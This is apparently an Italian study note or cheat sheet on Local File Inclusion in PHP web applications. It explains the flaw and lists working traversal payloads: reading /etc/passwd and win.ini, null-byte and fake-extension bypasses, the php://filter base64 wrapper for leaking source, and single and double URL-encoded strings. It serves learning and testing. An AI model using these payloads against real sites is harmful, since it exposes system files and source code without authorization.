tags: LFI php web local_file_inclusion


La Local File Inclusion è una vulnerabilità che si presenta quando in un url di un determinato sito web si vede una richiesta GET da parte di un linguaggio di programmazione come potrebbe essere php la quale se non sanitizzata correttamente potrebbe permettere ad un utente malevolo di ottenere file che non dovrebbe ottenere o anche di eseguire comandi arbitrari all’interno della macchina. Un tipico esempio di url potenzialmente vulnerabile potrebbe essere il seguente:

In una situazione come questa un utente potrebbe richiedere al posto del file userCV.pdf per esempio /etc/passwd.

Gli attacchi LFI contro le applicazioni web sono spesso dovuti alla mancanza di consapevolezza della sicurezza da parte degli sviluppatori. Con PHP, l’uso di funzioni come include, require, include_once e require_once spesso contribuisce a rendere vulnerabili le applicazioni web. Vale la pena notare che le vulnerabilità LFI si verificano anche quando si usano altri linguaggi come ASP, JSP o persino nelle app Node.js. Gli exploit LFI seguono gli stessi concetti del path traversal.

Le tecniche più comuni sono Path Trasversal, osservare gli errori L’importanza degli errori e Remote File Inclusion.

Un test che puoi fare è quello di provare a mettere il file robots.txt nell’URL:

http://webapp.thm/get.php?file=robots.txt

Esempi:

Bypass Null Byte

http://example.com/index.php?file=../../etc/passwd%00
 
# In windows:
 
https://insecure-website.com/loadImage?filename=..\..\..\windows\win.ini%00

Bypass Null Byte con estensione immagine

Alle volte l’oggetto che viene richiamato dall’applicazione richiede un’estensione come per esempio jpg o png come in questo caso:

 
https://webapp/image?filename=45.jpg
 

Possiamo bypassare questo filtro nel seguente modo:

https://webapp/image?filename=../../../etc/passwd%00.jpg

Bypass con Query String:

http://example.com/index.php?file=../../etc/passwd?

Utilizzo di Wrapper PHP:

Questo filtro ti permette di vedere il codice php di una pagina perchè convertendo il contenuto in base64 il browser non riesce ad eseguirlo e quindi ti risponde con il codice php convertito in base64 che ci basta decodificare per leggerlo.

http://example.com/index.php?file=php://filter/convert.base64-encode/resource=index.php
 
 
php://filter/convert.base64-encode/resource=/etc/passwd

Encodeare in URL

Come nota fondamentale ricordati di encodeare solo i . e gli /, ma non le cartelle come nel seguente modo:

 
#Questo payload è stato encodeato in URL solo una volta
 
../../etc/passwd %2e%2e%2f%2e%2e%2fetc%2fpasswd
 
#Quest'altro invece è stato encodeato 2 volte in URL
 
../../../etc/passwd  -> %25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66etc%25%32%66passwd
 

Obbligo di File Path

Alle volte può succedere di trovare una LFI che ti permette di effettuare questo attacco solo ed esclusivamente se viene mantenuto il path originale come per esempio questo:

 
https://webapp/image?filename=/var/www/images/44.jpg
 
# E trasformarlo in questo:
 
https://webapp/image?filename=/var/www/images/../../../etc/passwd